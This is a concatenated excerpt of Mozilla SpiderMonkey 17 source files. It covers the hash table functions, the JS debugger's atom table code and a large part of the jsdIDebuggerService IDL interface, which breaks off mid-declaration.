JS_HASHMETER ht->ngrows++; #endif hep = JS_HashTableRawLookup(ht, keyHash, key); } /* Make a new key value entry */ he = ht->allocOps->allocEntry(ht->allocPriv, key); if (!he) return NULL; he->keyHash = keyHash; he->key = key; he->value = value; he->next = *hep; *hep = he; ht->nentries++; return he; } JSHashEntry * JS_HashTableAdd(JSHashTable *ht, const void *key, void *value) { JSHashNumber keyHash; JSHashEntry *he, **hep; keyHash = ht->keyHash(key); hep = JS_HashTableRawLookup(ht, keyHash, key); if ((he = *hep) != NULL) { /* Hit; see if values match */ if (ht->valueCompare(he->value, value)) { /* key,value pair is already present in table */ return he; } if (he->value) ht->allocOps->freeEntry(ht->allocPriv, he, HT_FREE_VALUE); he->value = value; return he; } return JS_HashTableRawAdd(ht, hep, keyHash, key, value); } void JS_HashTableRawRemove(JSHashTable *ht, JSHashEntry **hep, JSHashEntry *he) { uint32_t n; *hep = he->next; ht->allocOps->freeEntry(ht->allocPriv, he, HT_FREE_ENTRY); /* Shrink table if it's underloaded */ n = NBUCKETS(ht); if (--ht->nentries < UNDERLOADED(n)) { Resize(ht, ht->shift + 1); #ifdef JS_HASHMETER ht->nshrinks++; #endif } } JSBool JS_HashTableRemove(JSHashTable *ht, const void *key) { JSHashNumber keyHash; JSHashEntry *he, **hep; keyHash = ht->keyHash(key); hep = JS_HashTableRawLookup(ht, keyHash, key); if ((he = *hep) == NULL) return JS_FALSE; /* Hit; remove element */ JS_HashTableRawRemove(ht, hep, he); return JS_TRUE; } void * JS_HashTableLookup(JSHashTable *ht, const void *key) { JSHashNumber keyHash; JSHashEntry *he, **hep; keyHash = ht->keyHash(key); hep = JS_HashTableRawLookup(ht, keyHash, key); if ((he = *hep) != NULL) { return he->value; } return NULL; } /* ** Iterate over the entries in the hash table calling func for each ** entry found. Stop if "f" says to (return value & JS_ENUMERATE_STOP). ** Return a count of the number of elements scanned. */ int JS_HashTableEnumerateEntries(JSHashTable *ht, JSHashEnumerator f, void *arg) { JSHashEntry *he, **hep, **bucket; uint32_t nlimit, n, nbuckets, newlog2; int rv; nlimit = ht->nentries; n = 0; for (bucket = ht->buckets; n != nlimit; ++bucket) { hep = bucket; while ((he = *hep) != NULL) { JS_ASSERT(n < nlimit); rv = f(he, n, arg); n++; if (rv & HT_ENUMERATE_REMOVE) { *hep = he->next; ht->allocOps->freeEntry(ht->allocPriv, he, HT_FREE_ENTRY); --ht->nentries; } else { hep = &he->next; } if (rv & HT_ENUMERATE_STOP) { goto out; } } } out: /* Shrink table if removal of entries made it underloaded */ if (ht->nentries != nlimit) { JS_ASSERT(ht->nentries < nlimit); nbuckets = NBUCKETS(ht); if (MINBUCKETS < nbuckets && ht->nentries < UNDERLOADED(nbuckets)) { newlog2 = JS_CEILING_LOG2W(ht->nentries); if (newlog2 < MINBUCKETSLOG2) newlog2 = MINBUCKETSLOG2; /* Check that we really shrink the table. */ JS_ASSERT(JS_HASH_BITS - ht->shift > newlog2); Resize(ht, JS_HASH_BITS - newlog2); } } return (int)n; } #ifdef JS_HASHMETER #include void JS_HashTableDumpMeter(JSHashTable *ht, JSHashEnumerator dump, FILE *fp) { double sqsum, mean, sigma; uint32_t nchains, nbuckets; uint32_t i, n, maxChain, maxChainLen; JSHashEntry *he; sqsum = 0; nchains = 0; maxChain = maxChainLen = 0; nbuckets = NBUCKETS(ht); for (i = 0; i < nbuckets; i++) { he = ht->buckets[i]; if (!he) continue; nchains++; for (n = 0; he; he = he->next) n++; sqsum += n * n; if (n > maxChainLen) { maxChainLen = n; maxChain = i; } } mean = JS_MeanAndStdDev(nchains, ht->nentries, sqsum, &sigma); fprintf(fp, "\nHash table statistics:\n"); fprintf(fp, " number of lookups: %u\n", ht->nlookups); fprintf(fp, " number of entries: %u\n", ht->nentries); fprintf(fp, " number of grows: %u\n", ht->ngrows); fprintf(fp, " number of shrinks: %u\n", ht->nshrinks); fprintf(fp, " mean steps per hash: %g\n", (double)ht->nsteps / ht->nlookups); fprintf(fp, "mean hash chain length: %g\n", mean); fprintf(fp, " standard deviation: %g\n", sigma); fprintf(fp, " max hash chain length: %u\n", maxChainLen); fprintf(fp, " max hash chain: [%u]\n", maxChain); for (he = ht->buckets[maxChain], i = 0; he; he = he->next, i++) if (dump(he, i, fp) != HT_ENUMERATE_NEXT) break; } #endif /* JS_HASHMETER */ int JS_HashTableDump(JSHashTable *ht, JSHashEnumerator dump, FILE *fp) { int count; count = JS_HashTableEnumerateEntries(ht, dump, fp); #ifdef JS_HASHMETER JS_HashTableDumpMeter(ht, dump, fp); #endif return count; } JSHashNumber JS_HashString(const void *key) { JSHashNumber h; const unsigned char *s; h = 0; for (s = (const unsigned char *)key; *s; s++) h = JS_ROTATE_LEFT32(h, 4) ^ *s; return h; } int JS_CompareValues(const void *v1, const void *v2) { return v1 == v2; } mozjs17.0.0/js/jsd/jsd_atom.c0000664000175000017500000000634112106270662015744 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - Atom support */ #include "jsd.h" /* #define TEST_ATOMS 1 */ #ifdef TEST_ATOMS static void _testAtoms(JSDContext*jsdc) { JSDAtom* atom0 = jsd_AddAtom(jsdc, "foo"); JSDAtom* atom1 = jsd_AddAtom(jsdc, "foo"); JSDAtom* atom2 = jsd_AddAtom(jsdc, "bar"); JSDAtom* atom3 = jsd_CloneAtom(jsdc, atom1); JSDAtom* atom4 = jsd_CloneAtom(jsdc, atom2); const char* c0 = JSD_ATOM_TO_STRING(atom0); const char* c1 = JSD_ATOM_TO_STRING(atom1); const char* c2 = JSD_ATOM_TO_STRING(atom2); const char* c3 = JSD_ATOM_TO_STRING(atom3); const char* c4 = JSD_ATOM_TO_STRING(atom4); jsd_DropAtom(jsdc, atom0); jsd_DropAtom(jsdc, atom1); jsd_DropAtom(jsdc, atom2); jsd_DropAtom(jsdc, atom3); jsd_DropAtom(jsdc, atom4); } #endif static int _atom_smasher(JSHashEntry *he, int i, void *arg) { JS_ASSERT(he); JS_ASSERT(he->value); JS_ASSERT(((JSDAtom*)(he->value))->str); free(((JSDAtom*)(he->value))->str); free(he->value); he->value = NULL; he->key = NULL; return HT_ENUMERATE_NEXT; } static int _compareAtomKeys(const void *v1, const void *v2) { return 0 == strcmp((const char*)v1, (const char*)v2); } static int _compareAtoms(const void *v1, const void *v2) { return 0 == strcmp(((JSDAtom*)v1)->str, ((JSDAtom*)v2)->str); } JSBool jsd_CreateAtomTable(JSDContext* jsdc) { jsdc->atoms = JS_NewHashTable(256, JS_HashString, _compareAtomKeys, _compareAtoms, NULL, NULL); #ifdef TEST_ATOMS _testAtoms(jsdc); #endif return !!jsdc->atoms; } void jsd_DestroyAtomTable(JSDContext* jsdc) { if( jsdc->atoms ) { JS_HashTableEnumerateEntries(jsdc->atoms, _atom_smasher, NULL); JS_HashTableDestroy(jsdc->atoms); jsdc->atoms = NULL; } } JSDAtom* jsd_AddAtom(JSDContext* jsdc, const char* str) { JSDAtom* atom; if(!str) { JS_ASSERT(0); return NULL; } JSD_LOCK_ATOMS(jsdc); atom = (JSDAtom*) JS_HashTableLookup(jsdc->atoms, str); if( atom ) atom->refcount++; else { atom = (JSDAtom*) malloc(sizeof(JSDAtom)); if( atom ) { atom->str = strdup(str); atom->refcount = 1; if(!JS_HashTableAdd(jsdc->atoms, atom->str, atom)) { free(atom->str); free(atom); atom = NULL; } } } JSD_UNLOCK_ATOMS(jsdc); return atom; } JSDAtom* jsd_CloneAtom(JSDContext* jsdc, JSDAtom* atom) { JSD_LOCK_ATOMS(jsdc); atom->refcount++; JSD_UNLOCK_ATOMS(jsdc); return atom; } void jsd_DropAtom(JSDContext* jsdc, JSDAtom* atom) { JSD_LOCK_ATOMS(jsdc); if(! --atom->refcount) { JS_HashTableRemove(jsdc->atoms, atom->str); free(atom->str); free(atom); } JSD_UNLOCK_ATOMS(jsdc); } mozjs17.0.0/js/jsd/idl/0000775000175000017500000000000012106270662014544 5ustar sstanglsstanglmozjs17.0.0/js/jsd/idl/jsdIDebuggerService.idl0000664000175000017500000012332312106270662021121 0ustar sstanglsstangl/* -*- Mode: IDL; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "nsISupports.idl" %{ C++ #include "jsdebug.h" #include "nsAString.h" %} [ptr] native JSDContext(JSDContext); [ptr] native JSDObject(JSDObject); [ptr] native JSDProperty(JSDProperty); [ptr] native JSDScript(JSDScript); [ptr] native JSDStackFrameInfo(JSDStackFrameInfo); [ptr] native JSDThreadState(JSDThreadState); [ptr] native JSDValue(JSDValue); [ptr] native JSRuntime(JSRuntime); [ptr] native JSContext(JSContext); [ptr] native JSCompartment(JSCompartment); /* interfaces we declare in this file */ interface jsdIDebuggerService; interface jsdIFilter; interface jsdINestCallback; interface jsdIFilterEnumerator; interface jsdIContextEnumerator; interface jsdIScriptEnumerator; interface jsdIScriptHook; interface jsdIErrorHook; interface jsdIExecutionHook; interface jsdICallHook; interface jsdIEphemeral; interface jsdIContext; interface jsdIStackFrame; interface jsdIScript; interface jsdIValue; interface jsdIObject; interface jsdIProperty; interface jsdIActivationCallback; /** * Debugger service. It is not a good idea to have more than one active client * of the debugger service. */ [scriptable, uuid(9be5b327-6818-464d-9695-f33885fd8377)] interface jsdIDebuggerService : nsISupports { /** Internal use only. */ [noscript] readonly attribute JSDContext JSDContext; /** * Called when an error or warning occurs. */ attribute jsdIErrorHook errorHook; /** * Called when a jsdIScript is created or destroyed. */ attribute jsdIScriptHook scriptHook; /** * Called when the engine encounters a breakpoint. */ attribute jsdIExecutionHook breakpointHook; /** * Called when the engine encounters the debugger keyword. */ attribute jsdIExecutionHook debuggerHook; /** * Called when the errorHook returns false. */ attribute jsdIExecutionHook debugHook; /** * Called before the next PC is executed. */ attribute jsdIExecutionHook interruptHook; /** * Called when an exception is thrown (even if it will be caught.) */ attribute jsdIExecutionHook throwHook; /** * Called before and after a toplevel script is evaluated. */ attribute jsdICallHook topLevelHook; /** * Called before and after a function is called. */ attribute jsdICallHook functionHook; /** * VERSION_* values must be kept in sync with the JSVersion enumeration in * jspubtd.h. */ /** * Possible values for jsdIScript::version and jsdIContext::version. */ const long VERSION_1_0 = 100; const long VERSION_1_1 = 110; const long VERSION_1_2 = 120; const long VERSION_1_3 = 130; const long VERSION_1_4 = 140; const long VERSION_1_5 = 150; const long VERSION_DEFAULT = 0; const long VERSION_UNKNOWN = -1; /** * These flags need to be kept in sync with the context flags defined in * jsdebug.h */ /** * Link native frames in call stacks. */ const unsigned long ENABLE_NATIVE_FRAMES = 0x01; /** * Normally, if a script has a 0 in JSD_SCRIPT_PROFILE_BIT it is included in * profile data, otherwise it is not profiled. Setting the * PROFILE_WHEN_SET flag reverses this convention. */ const unsigned long PROFILE_WHEN_SET = 0x02; /** * Normally, when the script in the top frame of a thread state has a 1 in * JSD_SCRIPT_DEBUG_BIT, the execution hook is ignored. Setting the * DEBUG_WHEN_SET flag reverses this convention. */ const unsigned long DEBUG_WHEN_SET = 0x04; /** * When this flag is set the internal call hook will collect profile data. */ const unsigned long COLLECT_PROFILE_DATA = 0x08; /** * When this flag is set, stack frames that are disabled for debugging * will not appear in the call stack chain. */ const unsigned long HIDE_DISABLED_FRAMES = 0x10; /** * When this flag is set, the debugger will only check the * JSD_SCRIPT_DEBUG_BIT on the top (most recent) stack frame. This * makes it possible to stop in an enabled frame which was called from * a stack that contains a disabled frame. * * When this flag is *not* set, any stack that contains a disabled frame * will not be debugged (the execution hook will not be invoked.) * * This only applies when the reason for calling the hook would have * been TYPE_INTERRUPTED or TYPE_THROW. TYPE_BREAKPOINT, * TYPE_DEBUG_REQUESTED, and TYPE_DEBUGGER_KEYWORD always stop, regardless * of this setting, as long as the top frame is not disabled. * * If HIDE_DISABLED_FRAMES is set, this is effectively set as well. */ const unsigned long MASK_TOP_FRAME_ONLY = 0x20; /** * This flag has been retired, do not re-use. It previously provided a hook * for object allocation. */ const unsigned long DISABLE_OBJECT_TRACE_RETIRED = 0x40; /** * Debugger service flags. */ attribute unsigned long flags; /** * Major version number of implementation. */ readonly attribute unsigned long implementationMajor; /** * Minor version number of implementation. */ readonly attribute unsigned long implementationMinor; /** * Free form AUTF8String identifier for implementation. */ readonly attribute AUTF8String implementationString; /** * |true| if the debugger service has been turned on. This does not * necessarily mean another app is actively using the service, as the * autostart pref may have turned the service on. */ readonly attribute boolean isOn; /** * Synchronous activation of the debugger is no longer supported, * and will throw an exception. */ void on(); /** * Turn on the debugger. This function should only be called from * JavaScript code. The debugger will be enabled on the runtime the call is * made on, as determined by nsIXPCNativeCallContext. * * The debugger will be activated asynchronously, because there can be no * JS on the stack when code is to be re-compiled for debug mode. */ void asyncOn(in jsdIActivationCallback callback); /** * Called by nsIXPConnect after it's had a chance to recompile for * debug mode. */ [noscript] void activateDebugger(in JSRuntime rt); /** * Called by nsIXPConnect to deactivate debugger on setup failure. */ [noscript] void deactivateDebugger(); /** * Recompile all active scripts in the runtime for debugMode. */ [noscript] void recompileForDebugMode(in JSContext cx, in JSCompartment comp, in boolean mode); /** * Turn the debugger off. This will invalidate all of your jsdIEphemeral * derived objects, and clear all of your breakpoints. */ void off (); /** * Peek at the current pause depth of the debugger. * * @return depth Number of pause() calls still waiting to be unPause()d. */ readonly attribute unsigned long pauseDepth; /** * Temporarily disable the debugger. Hooks will not be called while the * debugger is paused. Multiple calls to pause will increase the "pause * depth", and equal number of unPause calles must be made to resume * normal debugging. * * @return depth Number of times pause has been called since the debugger * has been unpaused. */ unsigned long pause(); /** * Undo a pause. Once this is called, the debugger won't start * getting execution callbacks until the stack is fully unwound so * that no JS scripts are live. There is no way to query whether * there are such scripts left to unwind at a given point in time. * * @return depth The number of remaining pending pause calls. */ unsigned long unPause(); /** * Force the engine to perform garbage collection. */ void GC(); /** * Clear profile data for all scripts. */ void clearProfileData(); /** * Adds an execution hook filter. These filters are consulted each time one * of the jsdIExecutionHooks is about to be called. Filters are matched in * a first in, first compared fashion. The first filter to match determines * whether or not the hook is called. Use swapFilter to reorder existing * filters, and removeFilter to remove them. * * If |filter| is already present this method throws NS_ERROR_INVALID_ARG. * * @param filter Object representing the filter to add. * @param after Insert |filter| after this one. Pass null to insert at * the beginning. */ void insertFilter(in jsdIFilter filter, in jsdIFilter after); /** * Same as insertFilter, except always add to the end of the list. */ void appendFilter(in jsdIFilter filter); /** * Remove a filter. * * If |filter| is not present this method throws NS_ERROR_INVALID_ARG. * * @param filter Object representing the filter to remove. Must be the exact * object passed to addFilter, not just a new object with the same * properties. */ void removeFilter(in jsdIFilter filter); /** * Swap position of two filters. * * If |filter_a| is not present, this method throws NS_ERROR_INVALID_ARG. * If |filter_b| is not present, filter_a is replaced by filter_b. * If |filter_a| == |filter_b|, then filter is refreshed. */ void swapFilters(in jsdIFilter filter_a, in jsdIFilter filter_b); /** * Enumerate registered filters. This routine refreshes each filter before * passing them on to the enumeration function. Calling this with a null * |enumerator| is equivalent to jsdIService::refreshFilters. * * @param enumerator jsdIFilterEnumerator instance to be called back for the * enumeration. */ void enumerateFilters(in jsdIFilterEnumerator enumerator); /** * Force the debugger to resync its internal filter cache with the * actual values in the jsdIFilter objects. To refresh a single filter * use jsdIService::swapFilters. This method is equivalent to * jsdIService::enumerateFilters with a null enumerator. */ void refreshFilters(); /** * Clear the list of filters. */ void clearFilters(); /** * Enumerate all known contexts. */ void enumerateContexts(in jsdIContextEnumerator enumerator); /** * Enumerate all scripts the debugger knows about. Any scripts created * before you turned the debugger on, or after turning the debugger off * will not be available unless the autostart perf is set. * * @param enumerator jsdIScriptEnumerator instance to be called back for * the enumeration. */ void enumerateScripts(in jsdIScriptEnumerator enumerator); /** * Clear all breakpoints in all scripts. */ void clearAllBreakpoints(); /** * When called from JavaScript, this method returns the jsdIValue wrapper * for the given value. If a wrapper does not exist one will be created. * When called from another language this method returns an xpconnect * defined error code. */ jsdIValue wrapValue(in jsval value); /* XXX these two routines are candidates for refactoring. The only problem * is that it is not clear where and how they should land. */ /** * Push a new network queue, and enter a new UI event loop. * @param callback jsdINestCallback instance to be called back after the * network queue has been pushed, but before the * UI loop starts. * @return depth returns the current number of times the event loop has been * nested. your code can use it for sanity checks. */ unsigned long enterNestedEventLoop(in jsdINestCallback callback); /** * Exit the current nested event loop after the current iteration completes, * and pop the network event queue. * * @return depth returns the current number of times the event loop has been * nested. your code can use it for sanity checks. */ unsigned long exitNestedEventLoop(); /** * Output dump of JS heap. * * @param fileName Filename to dump the heap into. */ void dumpHeap(in AUTF8String fileName); }; /* callback interfaces */ /** * Object representing a pattern of global object and/or url the debugger should * ignore. The debugger service itself will not modify properties of these * objects. */ [scriptable, uuid(0c9189d9-4287-47a4-bca6-6ed65aaf737f)] interface jsdIFilter : nsISupports { /** * These two bytes of the flags attribute are reserved for interpretation * by the jsdService implementation. You can do what you like with the * remaining flags. */ const unsigned long FLAG_RESERVED_MASK = 0xFF; /** * Filters without this flag set are ignored. */ const unsigned long FLAG_ENABLED = 0x01; /** * Filters with this flag set are "pass" filters, they allow matching hooks * to continue. Filters without this flag block matching hooks. */ const unsigned long FLAG_PASS = 0x02; /** * FLAG_* values from above, OR'd together. */ attribute unsigned long flags; /** * An nsISupports version of the global object to be filtered. A null glob * matches all hooks. This attribute must be QI'able to the * (non-scriptable) nsIScriptGlobalObject interface. * * The jsdIService caches this value internally, so if it changes you must * swap the filter with itself using jsdIService::swapFilters. */ attribute nsISupports globalObject; /** * String representing the url pattern to be filtered. Supports limited * glob matching, at the beginning and end of the pattern only. For example, * "chrome://venkman*" filters all urls that start with chrome/venkman, * "*.cgi" filters all cgi's, and "http://myserver/utils.js" filters only * the utils.js file on "myserver". A null urlPattern matches all urls. * * The jsdIService caches this value internally, to if it changes you must * swap the filter with itself using jsdIService::swapFilters. */ attribute AUTF8String urlPattern; /** * Line number for the start of this filter. Line numbers are one based. * Assigning a 0 to this attribute will tell the debugger to ignore the * entire file. */ attribute unsigned long startLine; /** * Line number for the end of this filter. Line numbers are one based. * Assigning a 0 to this attribute will tell the debugger to ignore from * |startLine| to the end of the file. */ attribute unsigned long endLine; }; /** * Notify client code that debugMode has been activated. */ [scriptable, function, uuid(6da7f5fb-3a84-4abe-9e23-8b2045960732)] interface jsdIActivationCallback : nsISupports { void onDebuggerActivated(); }; /** * Pass an instance of one of these to jsdIDebuggerService::enterNestedEventLoop. */ [scriptable, function, uuid(88bea60f-9b5d-4b39-b08b-1c3a278782c6)] interface jsdINestCallback : nsISupports { /** * This method will be called after pre-nesting work has completed, such * as pushing the js context and network event queue, but before the new * event loop starts. */ void onNest(); }; /** * Pass an instance of one of these to jsdIDebuggerService::enumerateFilters. */ [scriptable, function, uuid(e391ba85-9379-4762-b387-558e38db730f)] interface jsdIFilterEnumerator : nsISupports { /** * The enumerateFilter method will be called once for every filter the * debugger knows about. */ void enumerateFilter(in jsdIFilter filter); }; /** * Pass an instance of one of these to jsdIDebuggerService::enumerateScripts. */ [scriptable, function, uuid(4eef60c2-9bbc-48fa-b196-646a832c6c81)] interface jsdIScriptEnumerator : nsISupports { /** * The enumerateScript method will be called once for every script the * debugger knows about. */ void enumerateScript(in jsdIScript script); }; /** * Pass an instance of one of these to jsdIDebuggerService::enumerateContexts. */ [scriptable, function, uuid(57d18286-550c-4ca9-ac33-56f12ebba91e)] interface jsdIContextEnumerator : nsISupports { /** * The enumerateContext method will be called once for every context * currently in use. */ void enumerateContext(in jsdIContext executionContext); }; /** * Set jsdIDebuggerService::scriptHook to an instance of one of these. */ [scriptable, uuid(d030d1a2-a58a-4f19-b9e3-96da4e2cdd09)] interface jsdIScriptHook : nsISupports { /** * Called when scripts are created. */ void onScriptCreated(in jsdIScript script); /** * Called when the JavaScript engine destroys a script. The jsdIScript * object passed in will already be invalidated. */ void onScriptDestroyed(in jsdIScript script); }; /** * Hook instances of this interface up to the * jsdIDebuggerService::functionHook and toplevelHook properties. */ [scriptable, function, uuid(3eff1314-7ae3-4cf8-833b-c33c24a55633)] interface jsdICallHook : nsISupports { /** * TYPE_* values must be kept in sync with the JSD_HOOK_* #defines * in jsdebug.h. */ /** * Toplevel script is starting. */ const unsigned long TYPE_TOPLEVEL_START = 0; /** * Toplevel script has completed. */ const unsigned long TYPE_TOPLEVEL_END = 1; /** * Function is being called. */ const unsigned long TYPE_FUNCTION_CALL = 2; /** * Function is returning. */ const unsigned long TYPE_FUNCTION_RETURN = 3; /** * Called before the JavaScript engine executes a top level script or calls * a function. */ void onCall(in jsdIStackFrame frame, in unsigned long type); }; [scriptable, function, uuid(e6b45eee-d974-4d85-9d9e-f5a67218deb4)] interface jsdIErrorHook : nsISupports { /** * REPORT_* values must be kept in sync with JSREPORT_* #defines in * jsapi.h */ /** * Report is an error. */ const unsigned long REPORT_ERROR = 0x00; /** * Report is only a warning. */ const unsigned long REPORT_WARNING = 0x01; /** * Report represents an uncaught exception. */ const unsigned long REPORT_EXCEPTION = 0x02; /** * Report is due to strict mode. */ const unsigned long REPORT_STRICT = 0x04; /** * Called when the JavaScript engine encounters an error. Return |true| * to pass the error along, |false| to invoke the debugHook. */ boolean onError(in AUTF8String message, in AUTF8String fileName, in unsigned long line, in unsigned long pos, in unsigned long flags, in unsigned long errnum, in jsdIValue exc); }; /** * Hook instances of this interface up to the * jsdIDebuggerService::breakpointHook, debuggerHook, errorHook, interruptHook, * and throwHook properties. */ [scriptable, function, uuid(3a722496-9d78-4f0a-a797-293d9e8cb8d2)] interface jsdIExecutionHook : nsISupports { /** * TYPE_* values must be kept in sync with JSD_HOOK_* #defines in jsdebug.h. */ /** * Execution stopped because we're in single step mode. */ const unsigned long TYPE_INTERRUPTED = 0; /** * Execution stopped by a trap instruction (i.e. breakoint.) */ const unsigned long TYPE_BREAKPOINT = 1; /** * Error handler returned an "invoke debugger" value. */ const unsigned long TYPE_DEBUG_REQUESTED = 2; /** * Debugger keyword encountered. */ const unsigned long TYPE_DEBUGGER_KEYWORD = 3; /** * Exception was thrown. */ const unsigned long TYPE_THROW = 4; /** * RETURN_* values must be kept in sync with JSD_HOOK_RETURN_* #defines in * jsdebug.h. */ /** * Indicates unrecoverable error processing the hook. This will cause * the script being executed to be aborted without raising a JavaScript * exception. */ const unsigned long RETURN_HOOK_ERROR = 0; /** * Continue processing normally. This is the "do nothing special" return * value for all hook types *except* TYPE_THROW. Returning RETURN_CONTINUE * from TYPE_THROW cause the exception to be ignored. Return * RETURN_CONTINUE_THROW to continue exception processing from TYPE_THROW * hooks. */ const unsigned long RETURN_CONTINUE = 1; /** * Same effect as RETURN_HOOK_ERROR. */ const unsigned long RETURN_ABORT = 2; /** * Return the value of the |val| parameter. */ const unsigned long RETURN_RET_WITH_VAL = 3; /** * Throw the value of the |val| parameter. */ const unsigned long RETURN_THROW_WITH_VAL = 4; /** * Continue the current throw. */ const unsigned long RETURN_CONTINUE_THROW = 5; /** * @param frame A jsdIStackFrame object representing the bottom stack frame. * @param type One of the jsdIExecutionHook::TYPE_ constants. * @param val in - Current exception (if any) when this method is called. * out - If you return RETURN_THROW_WITH_VAL, value to be * thrown. * If you return RETURN_RET_WITH_VAL, value to return. * All other return values, not significant. * @retval One of the jsdIExecutionHook::RETURN_* constants. */ unsigned long onExecute(in jsdIStackFrame frame, in unsigned long type, inout jsdIValue val); }; /** * Objects which inherit this interface may go away, with (jsdIScript) or * without (all others) notification. These objects are generally wrappers * around JSD structures that go away when you call jsdService::Off(). */ [scriptable, uuid(46f1e23e-1dd2-11b2-9ceb-8285f2e95e69)] interface jsdIEphemeral : nsISupports { /** * |true| if this object is still valid. If not, many or all of the methods * and/or properties of the inheritor may no longer be callable. */ readonly attribute boolean isValid; /** * Mark this instance as invalid. */ [noscript] void invalidate(); }; /* handle objects */ /** * Context object. Only context's which are also nsISupports objects can be * reflected by this interface. */ [scriptable, uuid(3e5c934d-6863-4d81-96f5-76a3b962fc2b)] interface jsdIContext : jsdIEphemeral { /* Internal use only. */ [noscript] readonly attribute JSContext JSContext; /** * OPT_* values must be kept in sync with JSOPTION_* #defines in jsapi.h. */ /** * Strict mode is on. */ const long OPT_STRICT = 0x01; /** * Warnings reported as errors. */ const long OPT_WERR = 0x02; /** * Makes eval() use the last object on its 'obj' param's scope chain as the * ECMA 'variables object'. */ const long OPT_VAROBJFIX = 0x04; /** * Private data for this object is an nsISupports object. Attempting to * alter this bit will result in an NS_ERROR_ILLEGAL_VALUE. */ const long OPT_ISUPPORTS = 0x08; /** * OPT_* values above, OR'd together. */ attribute unsigned long options; /** * Last version set on this context. * Scripts typically select this with the "language" attribute. * See the VERSION_* consts on jsdIDebuggerService. */ attribute long version; /** * Unique tag among all valid jsdIContext objects, useful as a hash key. */ readonly attribute unsigned long tag; /** * Private data for this context, if it is an nsISupports, |null| otherwise. */ readonly attribute nsISupports privateData; /** * Retrieve the underlying context wrapped by this jsdIContext. */ readonly attribute nsISupports wrappedContext; /** * Top of the scope chain for this context. */ readonly attribute jsdIValue globalObject; /** * |true| if this context should be allowed to run scripts, |false| * otherwise. This attribute is only valid for contexts which implement * nsIScriptContext. Setting or getting this attribute on any other * context will throw a NS_ERROR_NO_INTERFACE exception. */ attribute boolean scriptsEnabled; }; /** * Stack frame objects. These are only valid inside the jsdIExecutionHook which * gave it to you. After you return from that handler the bottom frame, and any * frame you found attached through it, are invalidated via the jsdIEphemeral * interface. Once a jsdIStackFrame has been invalidated all method and * property accesses will throw a NS_ERROR_NOT_AVAILABLE exception. */ [scriptable, uuid(7c95422c-7579-4a6f-8ef7-e5b391552ee5)] interface jsdIStackFrame : jsdIEphemeral { /** Internal use only. */ [noscript] readonly attribute JSDContext JSDContext; /** Internal use only. */ [noscript] readonly attribute JSDThreadState JSDThreadState; /** Internal use only. */ [noscript] readonly attribute JSDStackFrameInfo JSDStackFrameInfo; /** * True if stack frame represents a frame created as a result of a debugger * evaluation. */ readonly attribute boolean isDebugger; /** * True if stack frame is constructing a new object. */ readonly attribute boolean isConstructing; /** * Link to the caller's stack frame. */ readonly attribute jsdIStackFrame callingFrame; /** * Executon context. */ readonly attribute jsdIContext executionContext; /** * Function name executing in this stack frame. */ readonly attribute AUTF8String functionName; /** * Script running in this stack frame, null for native frames. */ readonly attribute jsdIScript script; /** * Current program counter in this stack frame. */ readonly attribute unsigned long pc; /** * Current line number (using the script's pc to line map.) */ readonly attribute unsigned long line; /** * Function object running in this stack frame. */ readonly attribute jsdIValue callee; /** * Top object in the scope chain. */ readonly attribute jsdIValue scope; /** * |this| object for this stack frame. */ readonly attribute jsdIValue thisValue; /** * Evaluate arbitrary JavaScript in this stack frame. * @param bytes Script to be evaluated. * @param fileName Filename to compile this script under. This is the * filename you'll see in error messages, etc. * @param line Starting line number for this script. One based. * @retval Result of evaluating the script. */ boolean eval(in AString bytes, in AUTF8String fileName, in unsigned long line, out jsdIValue result); }; /** * Script object. In JavaScript engine terms, there's a single script for each * function, and one for the top level script. */ [scriptable, uuid(8ce9b2a2-cc33-48a8-9f47-8696186ed9a5)] interface jsdIScript : jsdIEphemeral { /** Internal use only. */ [noscript] readonly attribute JSDContext JSDContext; /** Internal use only. */ [noscript] readonly attribute JSDScript JSDScript; /** * Last version set on this context. * Scripts typically select this with the "language" attribute. * See the VERSION_* consts on jsdIDebuggerService. */ readonly attribute long version; /** * Tag value guaranteed unique among jsdIScript objects. Useful as a * hash key in script. */ readonly attribute unsigned long tag; /** * FLAG_* values need to be kept in sync with JSD_SCRIPT_* #defines in * jsdebug.h. */ /** * Determines whether or not to collect profile information for this * script. The context flag FLAG_PROFILE_WHEN_SET decides the logic. */ const unsigned long FLAG_PROFILE = 0x01; /** * Determines whether or not to ignore breakpoints, etc. in this script. * The context flag JSD_DEBUG_WHEN_SET decides the logic. */ const unsigned long FLAG_DEBUG = 0x02; /** * Determines whether to invoke the onScriptDestroy callback for this * script. The default is for this to be true if the onScriptCreated * callback was invoked for this script. */ const unsigned long FLAG_CALL_DESTROY_HOOK = 0x04; /** * FLAG_* attributes from above, OR'd together. */ attribute unsigned long flags; /** * Filename given for this script when it was compiled. * This data is copied from the underlying structure when the jsdIScript * instance is created and is therefore available even after the script is * invalidated. */ readonly attribute AUTF8String fileName; /** * Function name for this script. "anonymous" for unnamed functions (or * a function actually named anonymous), empty for top level scripts. * This data is copied from the underlying structure when the jsdIScript * instance is created and is therefore available even after the script is * invalidated. */ readonly attribute AUTF8String functionName; /** * The names of the arguments for this function; empty if this is * not a function. */ void getParameterNames([optional] out unsigned long count, [array, size_is(count), retval] out wstring paramNames); /** * Fetch the function object as a jsdIValue. */ readonly attribute jsdIValue functionObject; /** * Source code for this script, without function declaration. */ readonly attribute AString functionSource; /** * Line number in source file containing the first line of this script. * This data is copied from the underlying structure when the jsdIScript * instance is created and is therefore available even after the script is * invalidated. */ readonly attribute unsigned long baseLineNumber; /** * Total number of lines in this script. * This data is copied from the underlying structure when the jsdIScript * instance is created and is therefore available even after the script is * invalidated. */ readonly attribute unsigned long lineExtent; /** * Number of times this script has been called. */ readonly attribute unsigned long callCount; /** * Number of times this script called itself, directly or indirectly. */ readonly attribute unsigned long maxRecurseDepth; /** * Shortest execution time recorded, in milliseconds. */ readonly attribute double minExecutionTime; /** * Longest execution time recorded, in milliseconds. */ readonly attribute double maxExecutionTime; /** * Total time spent in this function, in milliseconds. */ readonly attribute double totalExecutionTime; /** * Shortest execution time recorded, in milliseconds, excluding time spent * in other called code. */ readonly 